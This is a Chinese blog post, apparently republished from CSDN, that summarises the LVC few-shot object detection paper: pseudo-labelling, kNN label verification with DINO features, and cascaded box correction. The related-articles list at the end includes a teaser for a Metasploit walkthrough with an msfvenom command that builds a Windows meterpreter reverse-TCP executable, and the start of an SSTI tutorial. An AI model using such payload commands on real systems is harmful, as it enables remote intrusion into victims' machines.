LVC | 一种简单的小样本目标检测方法

news/2024/4/30 5:24:41/文章来源:https://blog.csdn.net/weixin_42405819/article/details/127145917

欢迎关注我的公众号 [极智视界],获取我的更多笔记分享

  大家好,我是极智视界,本文解读一下 Label, Verify, Correct (LVC):一种简单的小样本目标检测方法
在这里插入图片描述

  本文的目标是小样本目标检测 (FSOD),即在给定少量训练实例的情况下,就将一个目标检测器扩展到一个新类别的检测上。作者引入了一种简单的伪标注方法,从训练集中提取高质量的伪标注,对于每一个新类别,大大增加了训练的数据量,减少了类别的不平衡,另外还会查找以前未标注的实例。用模型预测进行训练会产生次优的性能,作者提出了两种新的方法来提高伪标注过程的准确性:(1) 引入了一种验证技术来删除具有不正确类标签的候选检测;(2) 训练一个专门的模型来纠正质量差的 bounding box。在这两个新的步骤之后,获得了一大组高质量的伪标注,这些伪标注允许最终检测器进行端到端的训练。此外,还证明了该方法保持了基类的性能,以及 FSOD 中简单扩充的效果。当在 PASCAL VOC 和 MS-COCO 上进行 benchmarking 测试时,与现有方法相比,本文的方法达到了最好 或 第二好的性能。

  论文地址:https://arxiv.org/abs/2112.05749

  代码地址:https://github.com/prannaykaul/lvc.git

文章目录

    • 1. 简介
    • 2. 背景和监督崩溃
      • 2.1 问题定义
      • 2.2 训练策略
        • 2.2.1 RPNs 的通用性
        • 2.2.2 基于基类特征的可迁移性
      • 2.2.3 小结
    • 3. 方法
      • 3.1 候选来源
      • 3.2 标签验证
      • 3.3 Box 验证
    • 4. 实验
    • 5. 总结
    • 6. 参考

1. 简介

  目标检测是指在图像中是否包含特定类别的目标,若包含 则对其进行定位的任务。近年来,依赖于对一组预定义的目标类别的训练计算模型 以及 大量的人工标注标签的数据集 (例如 MS-COCO 和 PASCAL VOC),促使目标检测取得了巨大的成功。然而,这种训练范式对于模型具有一定的限制,限制模型只能在一个封闭的、小的类别集合上表现良好,而这也只是因为这些类别有大量的训练数据可用。

  与此相反,人类可以不断地扩展他们的词汇量,即使只是观察几个例子,也能够学会检测更加多的类别。这也是现代计算机视觉系统所需要的能力,而小样本目标检测就是在做这个事情。本文工作的目标是:给定一个现有的目标检测器,该检测器已经针对某些类别 (称为基类) 的大量数据进行了训练,咱们希望学习仅仅使用少数标注来检测新类别,例如每个类别 1-30 张图片,同时还能够保持原始基类上的检测性能。

  在本文中,作者仔细研究了 two-stage 检测器 Faster R-CNN,并指出了限制其在 FSOD 上性能的两个关键因素。(1) 基于基类的训练导致了一种 “监督崩溃” 的情况;该模型经过自然训练,可以检测来自新类别的实例,因为它们没有被标注为背景;(2) FSOD 问题涉及到需要从极不平衡的数据中进行学习,每个新的类别只有 K 个实例 (K <= 30) 可以用于训练,因此基类的训练样本数量远远大于新类的训练样本数量。一个模型只是进行了少量新实例的样本叠加,自然缺乏泛化能力。

  作者采用了一种简单的伪标注技术,如图1,并解决了限制性能的两个因素:作者展示了区域建议网络 (RPN) 可以被修改以成功地为新类别提出区域建议,并使用少量新数据训练的检测器在大型训练数据集的图像上标记这些区域,为每个类别产生一组候选检测。本文方法的新颖之处在于用于提高该候选集精度的两个步骤:(1) 首先建立一个新类别的分类器,使用自监督训练的网络中的特征来对候选检测进行优化 (如图1 中间);(2) 其次,训练了一个专门的 box 回归器,以提高验证候选 bounding box 的质量 (如图1 右边)。这两个步骤一起为新类别产生了大量的高精度伪标注,减弱了训练数据中的类别不平衡问题。这使得检测器可以使用新类别的伪标注和基类的原始 tround truth 标注进行端到端的训练,同时避免了检测器特征的 “监督崩溃” 的影响。
在这里插入图片描述

  总结起来,作者的贡献如下:(1) 仔细研究了现代 two-stage 目标检测器 如 Faster R-CNN 的小样本目标检测问题,并明确了 “监督崩溃” 问题;(2) 提出了一种新的伪标注验证和矫正过程,它显著地提高了伪标注的精度,包括类标签和 bounding box 坐标;(3) 分析了数据增强的几个关键因素,并进行了彻底的消融实验来验证它们的必要性;(4) 通过伪标签和积极的数据增强的结合,使用标准 Faster R-CNN,在具有挑战性的 MS-COCO benckmark 和 PASCAL VOC benchmark 上获得了最好的 或 具有可比性的性能。


2. 背景和监督崩溃

2.1 问题定义

  本文中,考虑了与 TFA 中相同的问题设置,具体来说,假设给定了一个图像数据集D 和 两个标注数据集。首先是 Ybase - 对一组基类 Cbase 进行了详尽的标注。然后是 Ynovel^k - 在一组新类别 Cnovel 上只有 K 个注释。需要注意的是,基类的标注是详尽无遗的,而对于新类,大多数实例都没有标注,在小样本任务中,只为图像数据集 D 提供了 K 个注释。

2.2 训练策略

  首先描述了一个 baseline two-stage 检测器来解决小样本目标检测问题,参考 TFA。一般来说,一个 Faster R-CNN 检测器可以描述为:
在这里插入图片描述

  其中,每个输入图像由一组操作依次处理:图像编码器 (ΦENC)、区域建议网络 (ΦRPN)、感兴趣区域特征模型 (ΦROI) 以及 RoI特征上的分类层 (ΦCLS),映射到一组 bounding box 和 类。注意这里的每个模块包含的卷积层 或 MLP层的数量与标准 Faster R-CNN 中的相同。

  训练小样本目标检测器涉及两个阶段的训练过程,如下:

Base Training 指仅使用基类注释的 Faster R-CNN 模型的标准训练 Ybase,在这个过程中,不进行其他的修改。

Novel Training 需要扩展基本检测器,使其能够额外的检测来自新类的实例。在最近的工作中,这通常是通过只在新类和基类数据上训练 (相对较少) 的层来完成的,检测器没有在新类数据上进行端到端的训练。例如,在 TFA 中,只在新类数据上训练尽可能少的参数。

  这样的两阶段训练策略自然会导致两个问题:(1) 在基类上训练的 RPN 是否具有泛化能力,即是否可以为新类别的实例提出建议区域?(2) 仅在基类上训练的特征 实际上的泛化能力如何,换句话说,RoI 特征在分类新类时是否具有判别性?作者的目标是在 MS-COCO 30-shot 目标检测 benchmark 上回答这两个问题。具体来说,遵循 TFA 中相同的数据划分:60个类别被视为基类,20个类别被视为新类。

2.2.1 RPNs 的通用性

  在标准的 two-stage 目标检测器中,由于分类和 bounding box 回归只作用于所提出的区域,因此 RPN 被认为是高性能检测的必要条件。这里,咱们的目标是基于对新类的召回率来评估 FSOD 的 RPN 的质量。具体来说,考虑了以下三个设置:(1) 首先,为了了解在 60 个基类上训练的 RPN 是否可以直接提出新的目标实例,评估了来自基本检测器的 RPN 的召回率;(2) 其次,在基类和新类数据上对 RPN 进行了微调 (由 2 个卷积层组成);(3) 第三,理想的 RPN,它继承自对所有类别的详尽数据进行训练的现成的 Faster R-CNN。

Discussion 表1给出了从基本检测器的RPN 和 从新类中召回实例的理想RPN 之间的巨大性能差距。然而,在少数几个实例 (K=30) 上,对 RPN 的具体参数进行精细微调,不仅平均召回率显著提高,最小类召回率也显著提高,在很大程度上弥补了与理想RPN之间的平均召回率差距。
在这里插入图片描述

2.2.2 基于基类特征的可迁移性

  这里的目标是测试在基类上训练的视觉特征的可迁移性,具体来说,在新的训练中,保持编码器固定,并在后续的新类训练中对模块的单个或组合进行精细微调。

Discussion 如表2所示,将 TFA 与微调更多层进行对比,这往往是有益的,但它仍然大大低于理想的 Faster R-CNN。为了消除由于数据标注不足而引起的影响,将 TFA 和 Oracle 测试进行对比,该测试使用所有类别的详尽数据微调最终的分类器。然而,该结果仍然在很大程度上低于理想的 Faster R-CNN,这表明特征编码器严重偏向基类,并且几乎不包含用于从新类中分类实例提取的判别信息。这可能是意料之中的,因为这些类别在基类训练过程中被视为背景。
在这里插入图片描述

  这些实验证明了 FSOD 检测器中存在的 “监督崩溃” 问题。注意到 “监督崩溃” 表现在两个方面:(1) 由于类混淆和 bounding box回归差 (检测精度差),会出现许多误报;(2) 尽管 RPN 有所改进 (检测召回率低),但仍有许多误报 或 漏检。

2.2.3 小结

  经过仔细评估,得出以下两个结论:(1) 更新 RPN 的所有参数对于提高新类的召回率是必要的;(2) 基于基类训练的特征对新类的识别能力不足,导致性能严重下降,因此在 RoI 特征模块中更新所有参数,以补充分类层。这两个选择构成了新的训练过程,产生了更加强大的 baseline 检测器。这可以充分缓解 “监督崩溃”,以便 baseline 检测器可以用作咱们的伪标注方法的起点。


3. 方法

  针对 “监督崩溃” 问题,采用了一种简单的伪标注方法来挖掘新类的实例,有效地扩展了它们的标注集。然而,从检测器中提取的伪标注 (经过新类训练) 是不可靠的,会带来大量的假阳性。这里作者提出了一种方法来提高这些候选伪标注的精度,通过自动过滤掉具有不正确类标签的候选,并为剩余的那些改进 bounding box 坐标。这样的方法产生了大量的新类的高精度伪标注数据集,允许最终的检测器在基类和新类数据上进行端到端的训练。

3.1 候选来源

  这里的目标是生成一组候选检测,它们可能是新类的有效伪标注。具体来说,来自新类训练的检测器用于对训练图像进行推理,以生成一组候选检测,每个检测器包含一个类标签和预测的 bounding box 坐标 (如图1 左边)。通过采用具有高置信度得分的新类检测 将这个集合的大小限制为 1000 个。正如之前评估所证明的,来自新类训练的检测器不能很好地检测来自新类的实例,从而在候选集中留下了大量不正确的预测,要么是错误的分类,要么是不精确的 bounding box 坐标。现在的问题变成了:咱们如何才能提高这个列表的精度?

3.2 标签验证

  从 Chum等人的关于查询扩展的工作中获得了灵感,它采用空间验证,在检索期间接受或拒绝新实例。这里的目标是验证每个候选检测的预测类别标签。具体来说,考虑用非常有限的少量标注来构建一个新类的分类器。仅使用少量标注构建分类器显然不是一件简单的任务,因为它通常需要高质量的特征表示。在这里,作者借鉴了最近发展起来的自监督模型,如 MoCo、SwAV、DINO,并利用这些模型产生的高质量特征构建了 kNN 分类器。在实践中,使用了 ViT 模型输出的 CLS token,并使用自监督 DINO 进行训练,其中 NN 的性能被证明是非常强的。

  为了执行标签验证,首先使用自监督模型为每个给定的新类 ground truth 计算特征,这些特征作为 kNN 分类器的训练数据。类似的,使用相同的自监督模型为候选检测集合中的每个位置计算特征。具体来说,为了计算给定标注/候选检测的特征,首先使用 bounding box 对相关图像进行裁剪,然后调整裁剪的大小 并将其作为输入传递给自监督模型。

  采用一个简单的验证策略:如果 kNN 分类器使用余弦相似度预测出的标签 与 检测器预测的类别标签相同,则接受/验证 给定的候选检测。通过这样的一个验证步骤,得到了一组对分类标签具有高精度的验证候选检测。

3.3 Box 验证

  除了验证分类标签之外,还考虑对验证集中所有剩余候选的 bounding box 进行细化。从 Cascade R-CNN 中汲取灵感,构建了一个单独的模型,其中包含三个与模型无关的回归器,它们逐渐生成更加高质量的 bounding boxes,每个模型只处理与 ground truth 相似的 IOU 的 boxes。具体来说,在新类的训练过程中,使用不同的 IoU 阈值将 RPN 分成三个部分,并通过相应的回归器传递 RoI 特征。例如,IoU > 0.3 boxes 的所有池化特征传递给第一个回归器,IoU > 0.5 boxes 的所有池化特征传递给第二个回归器,IoU > 0.7 boxes 的所有池化特征传递给第三个回归器。一旦训练好了,验证集的 bounding boxes 就可以通过连续的三个回归器输入它们的 RoI 特征来进行修正。咱们现在拥有大量的以前未标注的新实例,具有高精度的类标签和高质量的 bounding boxes。这个经过验证和校正的集合,随后被用作伪标注来重新在基类和新类实例上端到端地训练咱们的检测器。


4. 实验

  表3展示了 MS-COCO 30-shot 任务上新类的小样本目标检测的性能。
在这里插入图片描述

  表4展示了伪标注方法的消融实验结果数据。
在这里插入图片描述

  表5展示了在 MS-COCO benchmark 上各小样本目标检测方法的性能。
在这里插入图片描述

  表6展示了在 PASCAL VOC benchmark 上三个拆分结构中的小样本目标检测的性能。
在这里插入图片描述

  图2中,在伪标注过程的每个步骤之后展示了定性结果。
在这里插入图片描述

  图3中,使用更加严格的 IoU=0.75 在 K=30 的 MS-COCO benchmark 上显示了一些新类的 precision-recall 曲线。
在这里插入图片描述


5. 总结

  本文通过对伪标注的训练来解决小样本目标检测问题。提出了两种新的方法来提高伪标注过程的精度:(1) 使用给定的 K 个小样本标注构造分类器验证来自 baseline 检测器的类别标记;(2) 训练一个专门的 box 校正模型,极大地提高了伪标注 bounding box 坐标的精度。该方法通过精确的 bounding boxes 生成大量高精度的伪标注,消除了 FSOD 中类别不平衡的问题,这使得本文的检测器能够端到端地重新进行训练,减少识别误检/漏检问题。


6. 参考

  [1] Label, Verify, Correct: A Simple Few Shot Objection Detection Method.


  好了,以上解读了 一种简单的小样本目标检测方法 LVC。希望我的分享能对你的学习有一点帮助。


 【极智视界】

《LVC | 一种简单的小样本目标检测方法》


在这里插入图片描述

搜索关注我的微信公众号【极智视界】,获取我的更多经验分享,让我们用极致+极客的心态来迎接AI !

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_17638.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

谷歌翻译 失效/无法使用方法

谷歌2022年9月26日左右停止了在中国地区的谷歌翻译服务包含 translate.google.cn 与 translate.googleapi.com&#xff0c;其给出原因为“使用量低” 来源 techcrunch 在论坛中找到了前段时间谷歌翻译工作人员回复&#xff0c;翻译成中文csdn说辱华&#xff0c;不给通过 这个回…

msf win10系统攻击

kali ip 192.168.141.129 windwos10 192.168.141.128 一、木马生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST本机ip LPORT本机端口 -f exe > shell.exe //保存到跟目录 二、开启apach服务 service apache2 start 查看状态 ervice apache2 status 接下来把我…

java基于SpringBoot+Vue+nodejs的个人家庭理财记账本管理系统 element

家庭理财记账系统主要是为了提高用户的工作效率和更方便快捷的满足用户,更好存储所有数据信息及快速方便的检索功能,对家庭理财记账系统的各个模块是通过许多今天的发达家庭理财记账系统做出合理的分析来确定考虑用户的可操作性,遵循开发的系统优化的原则,经过全面的调查和研究…

接收节点无线广播发送的数据,并printf打印出来(含核心代码)_物联网挑战赛第四届第一题

目录 题目 赛题 格式说明 计分规则 评分步骤 题目解析 右上角节点代码解析 其余11个节点代码解析 比赛时的思考 具体解析 核心代码 右上角节点代码 其余11个节点代码 题目 赛题 数据广播节点—> 如图所示&#xff0c;平台节点不安装天线&#xff0c;12 个节点 …

详解库存监控 到货提醒步骤

首先看看具体监控效果&#xff0c;在浏览器的书签栏增加一个库存监控提醒的按钮&#xff0c;点击该按钮即启动库存监控提醒项目。 项目运行时&#xff0c;自动打开指定的网址&#xff0c;并从事先准备好的txt文件中读取型号&#xff0c;输入到页面上的型号搜索框中&#xff0c…

java基于springboot+element的实现医院预约挂号系统 nodejs

网络的广泛应用给生活带来了十分的便利。所以把医院预约挂号管理与现在网络相结合,利用java技术建设医院预约挂号系统,实现医院预约挂号的信息化。则对于进一步提高医院预约挂号管理发展,丰富医院预约挂号管理经验能起到不少的促进作用。 医院预约挂号系统能够通过互联网得到广…

OPENCV的GUI特性:图像入门

我们先来理解一下什么是GUI特性&#xff1b;一起来学习摘自百度词条的信息&#xff1a; 图形用户界面&#xff08;Graphical User Interface&#xff0c;简称 GUI&#xff0c;又称图形用户接口&#xff09;是指采用图形方式显示的计算机操作用户界面。 图形用户界面是一种人与…

模块化:AMD规范

之前在《模块化&#xff1a;CommonJS规范》文中对CMD规范进行了介绍&#xff0c;并给出了服务端和浏览器端基于CommonJS模块化规范构建项目和模块化开发的示例demo。严格来讲&#xff0c;CommonJS这种模块化规范更加适用于服务器端编程&#xff0c;由于是同步的加载方式&#x…

ElasticSearch_02_ElastisSearch的基本语法使用

系列文章目录 文章目录系列文章目录前言一、基本语法使用1.1 _search接口获取所有数据1.2 文档操作插入文档查询文档修改文档查询所有的索引和查询所有的数据删除文档二、各种各样的查询条件2.1 查询所有2.2 值匹配和输出结构按price倒序输出2.3 仅输出需要的数量2.4 仅输出需要…

论文(一):Revisiting multiple instance neural networks

Revisiting multiple instance neural networks 回顾多示例神经网络 1、Abstract ​ 近年来&#xff0c;神经网络和多实例学习(MIL)都是人工智能相关研究领域的热门课题。深度神经网络在监督学习问题上取得了巨大的成功&#xff0c;而MIL作为一种典型的弱监督学习方法&#…

J2EE 知识点总结_上

J2EE 知识点总结_上基础概念数组选择排序 &#xff1a;交换排序 &#xff1a;插入排序面向对象重载&#xff08;**Overload**&#xff09;的概念构造器的作用&#xff1a;JavaBean多态性instanceof 操作符操作符与equals方法&#xff1a;包装类(Wrapper)的使用垃圾回收机制关键…

RLE算法机制、缺点及哈夫曼算法和莫尔斯编码

CSDN话题挑战赛第2期 参赛话题&#xff1a;学习笔记 目录 一、RLE算法机制 二、RLE算法的缺点 三、哈夫曼算法和莫尔斯编码 一、RLE算法机制 对 AAAAAABBCDDEEEEEF 这17个半角字符的文件&#xff08;文本文件&#xff09;进行压缩。虽然这些文字没有什么实际意义&#xff0…

Spring源码分析(三)Bean生命周期源码解析1:扫描生成BeanDefinition

Spring最重要的功能就是帮助程序员创建对象&#xff08;也就是IOC&#xff09;&#xff0c;而启动Spring就是为创建Bean对象做准备&#xff0c;如果先分析Spring启动过程的源码&#xff0c;会比较难理解&#xff0c;因为你可能不知道为什么要做这些准备动作&#xff0c;所以我们…

Shiro知识总结二

3. 与 Spring Boot 整合 3.1 框架整合 依赖 <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-thymeleaf</artifactId></dependency><dependency><groupId>o…

java基于springboot+vue+nodejs的高校学生健康档案管理系统 element

随着信息技术和网络技术的飞速发展,人类已进入全新信息化时代,传统管理技术已无法高效,便捷地管理信息。为了迎合时代需求,优化管理效率,各种各样的管理系统应运而生,各行各业相继进入信息管理时代,高校学生健康档案管理系统就是信息时代变革中的产物之一。 在经济快速发展的带…

快速玩转Yolov5目标检测—没有好的显卡也能玩(二)

上篇 快速玩转Yolov5目标检测—没有好的显卡也能玩&#xff08;一&#xff09; 已经将YoloV5在我的笔记本电脑上快速跑起来了&#xff0c;因为电脑显卡一般&#xff0c;所以运行的CPU版本&#xff0c;从推理结果来看&#xff0c;耗时还是蛮高的&#xff0c;如下图&#xff0c;…

03 NLP-神经网络基础常识复习2-计算图(乘法节点,分支节点,Repeat节点,Sum节点,MatMul节点)

下面&#xff0c;我们将研究误差反向传播法。不过在此之前&#xff0c;作为准备工作&#xff0c;我们先来介绍一下计算图的相关内容。计算图是计算过程的图形表示。所示为计算图的一个例子 计算图通过节点和箭头来表示。这里&#xff0c;“”表示加法&#xff0c;变量x和y写在各…

【流放之路闪电打击开荒攻略】

重点1&#xff1a;每次攻击杀1群白怪 重点2&#xff1a;地图区域等级-4《角色等级《地图区域等级2 重点3&#xff1a;非boss战斗不死亡 重点4&#xff1a;对下阶段成长有目标&#xff0c;搜集装备 国际服网址 G&#xff08;green&#xff09;R&#xff08;red&#xff09;B&am…

SSTI基础知识

我们用如下环境进行讲解(flask-jinja2):from flask import Flask from flask import render_template from flask import request from flask import render_template_string app = Flask(__name__) @app.route(/) def index():code = request.args.get(id)template = <h3&…

【Pandas总结】第九节 Pandas_累计与分组 pd.groupby()

文章目录一、数据准备二、累计值计算2.1 df.describe()2.2 常用统计值三、分组 pd.groupby()四、更多的使用方法aggregate(),filter(),transform(),apply()4.1 aggregate()4.2 filter()4.3 transform()4.4 apply()在对较大数据进行分析时&#xff0c;有一项最基本的工作就是&am…